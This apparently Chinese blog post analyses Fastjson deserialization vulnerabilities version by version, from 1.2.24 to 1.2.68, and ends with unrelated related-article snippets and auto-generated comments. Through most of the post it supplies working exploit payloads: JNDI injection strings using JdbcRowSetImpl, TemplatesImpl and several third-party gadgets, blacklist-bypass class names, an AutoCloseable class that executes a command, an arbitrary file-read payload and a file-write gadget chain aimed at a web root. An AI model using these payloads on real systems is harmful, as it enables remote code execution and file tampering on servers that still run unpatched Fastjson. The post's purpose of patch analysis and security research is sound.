添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

TemplatesImpl,利用条件苛刻,需要开启 Feature.SupportNonPublicField

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "pwn", "_tfactory": {}, "_outputProperties": {},

JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见 JNDI

"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:23457/Command8", "autoCommit":true "@type":"com.sun.rowset.JdbcRowSetImpl", "databaseMetaData":"ldap://127.0.0.1:23457/Command8", "autoCommit":true

1.2.25

25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是 先黑名单检测,后加载白名单中存在的类:

如果autoTypeSupport打开的情况,是 先加载白名单中存在的类,后黑名单检测:

之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:

跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:

所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。

"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:23457/Command8", "autoCommit":true // another "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "databaseMetaData":"ldap://127.0.0.1:23457/Command8", "autoCommit":true

1.2.42

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以 L 开头, ; 结尾,则会用stubstring处理一下:

双写即可绕过:

"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:23457/Command8", "autoCommit":true

1.2.43

针对42版本中的双写绕过,43中解决的方法是套了一个子判断:

随后安全研究人员将目光投入了在 loadClass 中也同样被处理的 '[' 字符:

"@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://127.0.0.1:23457/Command8", "autoCommit":true

1.2.44

44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:

1.2.45

45版本为黑名单绕过:

"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:23457/Command8"

1.2.47

47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。

"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true

关于版本:

  • 在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
  • 在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用

关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:

对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。

在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:

之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过 TypeUtils#getClassFromMapping 直接获取到了JdbcRowSetImpl。

1.2.62

需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。

"@type": "org.apache.xbean.propertyeditor.JndiConverter", "AsText": "ldap://localhost:1389/Exploit"

1.2.66

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)

黑名单绕过,都需要开启AutoType。

{    "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "Realms": [        ""    ]}
{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "metricRegistry": "ldap://localhost:1389/Exploit"}{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",    "properties": {        "@type": "java.util.Properties",        "UserTransaction": "ldap://localhost:1389/Exploit"    }}

1.2.67

黑名单绕过,需要开启AutoType。

{    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "tm": {        "$ref": "$.tm"    }}
{    "@type": "org.apache.shiro.jndi.JndiObjectFactory",    "resourceName": "ldap://localhost:1389/Exploit",    "instance": {        "$ref": "$.instance"    }}

1.2.68

48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。

直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:

对于开了safeMode的站基本不用看了✔

此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):

AutoCloseable(无需AutoType)

根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:

package v_68;import java.io.IOException;public class A implements AutoCloseable{    public A() throws IOException {        Runtime.getRuntime().exec("calc");    }    @Override    public void close() throws Exception {    }}

POC如下:

{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}

在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:

如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:

如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):

回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:

> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。

首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:

拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:

接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。

SafeFileOutputStream

<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>

用到的类是 org.eclipse.core.internal.localstore.SafeFileOutputStream ,在它的构造方法里:

利用这个特点可以实现任意文件读:

{    "@type":"java.lang.AutoCloseable",    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",    "tempPath": "C:/Windows/win.ini",    "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}

Output

<dependency>    <groupId>com.esotericsoftware</groupId>    <artifactId>kryo</artifactId>    <version>4.0.0</version></dependency>

用到的类是 com.esotericsoftware.kryo.io.Output ,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:

在require方法中触发了flush方法,在write相关方法中触发了require方法:

在JDK自带的ObjectOutputStream中有参构造方法中:

setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:

于是可以把out赋值成Output类的实例,直到触发flush方法。

但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:

<dependency>    <groupId>com.sleepycat</groupId>    <artifactId>je</artifactId>    <version>5.0.73</version></dependency>

在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:

write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)

至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:

  • 实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
  • 在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化
  • 通过控制这两条路径就能向文件中写入内容

这个Exp利用了Fastjson中的 循环引用

{    "stream": {        "@type": "java.lang.AutoCloseable",        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",        "targetPath": "D:/wamp64/www/hacked.txt",        "tempPath": "D:/wamp64/www/test.txt"    },    "writer": {        "@type": "java.lang.AutoCloseable",        "@type": "com.esotericsoftware.kryo.io.Output",        "buffer": "cHduZWQ=",        "outputStream": {            "$ref": "$.stream"        },        "position": 5    },    "close": {        "@type": "java.lang.AutoCloseable",        "@type": "com.sleepycat.bind.serial.SerialOutput",        "out": {            "$ref": "$.writer"        }    }}

在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:

具体问题研究以及解决: 问题记录 (wolai.com)

Throwable(AutoType开启)

@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:

在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:

但是这个类没有找到合适的Gadget,先留着以后再说。

fastjson 1.2.25-1.2.41 旧 版本 补丁更新分析 运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持 在DefaultJSONParser.parseObject新调用了checkAutoType 欢迎关注我的CSDN博客 :@Ho1aAs 版权属于:
0x00 初识 Fastjson 前段时间分析了一下 Fastjson 历史 漏洞,在这里做下 记录 。 为了方便切换 Fastjson 版本 ,我用idea新建了一个maven项目,在pom.xml中引入 Fastjson : <dependencies> <dependency> <groupId>com.alibaba</gro...
Fastjson 1.2.24 远程代码执行漏洞 FastJson 库是 Java 的一个Json库,其作用是将 Java 对象转换成json数据来表示,也可以将json数据转换成 Java 对象。在2017年3月15日, fastjson 官方主动爆出 fastjson 在1.2.24及之前 版本 存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。 开启autotype fastjson 1.2.22-1.2.24 jdk 1.7,1.8 版本 由于Fastj
老项目中使用到多种json类库,没有统一管理。最近开启全新的项目,准备对json类库进行统一,这样不仅能够压缩jar包的大小,也能够避免某个类库的漏洞导致系统问题。 其实,就在前几个月因为 FastJson 的漏洞,已经全面升级过一次 FastJson 版本 。现在项目中有用 FastJson ,有用gson,也有用Jackson。虽然用的类库比较多,但使用的场景并不多,还在可控范围之内。 这篇文章重点讲讲对 FastJson 的一些调研,虽然最终决定强制在项目中禁用 FastJson ,但在放弃之前,还是要学习一下这个类库的
fastjson 大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将 Java Bean和JSON 字符串之间进行转换。 前段时间, fastjson 被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。 但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下 fastjson 的releaseNote以及部分源代码。 最终发现,这其实和 fastjson 中的一个AutoType特性有关。 从2019年7月份发布的v1.2.59一直到2020年6月份发布的
根据提供的引用内容, FASTJSON 2.0是 FASTJSON 项目的重要升级,目前是最新 版本 。它支持JSON/JSONB两种协议,JSONPath是一等公民,支持全量解析和部分解析,支持 Java 服务端、客户端Android、大数据场景。如果你想使用 FASTJSON 2.0,你可以在Maven中央仓库中找到它的最新 版本 。以下是 FASTJSON 2.0的Maven依赖: ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId> fastjson </artifactId> <version>2.0.0</version> </dependency> CSDN-Ada助手: 恭喜您写了第17篇博客!标题“Java安全之攻击RMI的思考”非常吸引人。您对Java安全领域的深入思考和研究令人钦佩。通过对RMI攻击的探索,您不仅为读者提供了有价值的信息,还为我们展示了Java安全方面的专业知识。 接下来,我建议您继续深入探索Java安全的其他方面,例如Java应用程序的安全性、网络安全等。您可以分享更多关于如何保护Java应用程序免受恶意攻击的实用技巧和最佳实践。同时,您也可以考虑与读者互动,回答他们的问题,分享您的经验和见解,以进一步提升博客的互动性和质量。 再次恭喜您的创作成果,期待您未来更多精彩的博客!请保持谦虚的态度,继续分享您的知识和见解,让读者受益匪浅。 使用 Lua 创建测试数据 CSDN-Ada助手: 恭喜您发布了第18篇博客!使用Lua创建测试数据是一个非常有趣的话题。您的文章内容充实,解释清晰,给读者提供了很多有用的信息。我非常期待您未来的创作!或许您可以考虑分享一些关于Lua的高级用法或者实用的技巧,这将进一步丰富您的博客内容。谢谢您的辛勤付出,期待在不久的将来阅读到您的下一篇博文! API安全学习手册:Restful API CSDN-Ada助手: 恭喜您撰写了第15篇博客,题为“API安全学习手册:Restful API”!您的持续创作令人钦佩。在这篇博客中,您对API安全性的学习手册提供了宝贵的信息。接下来,我衷心建议您可以考虑探讨一些实际案例,将理论与实践相结合。这样的创作方式将进一步丰富读者的知识储备,助力他们更好地应用API安全措施。期待您未来更多的精彩博文!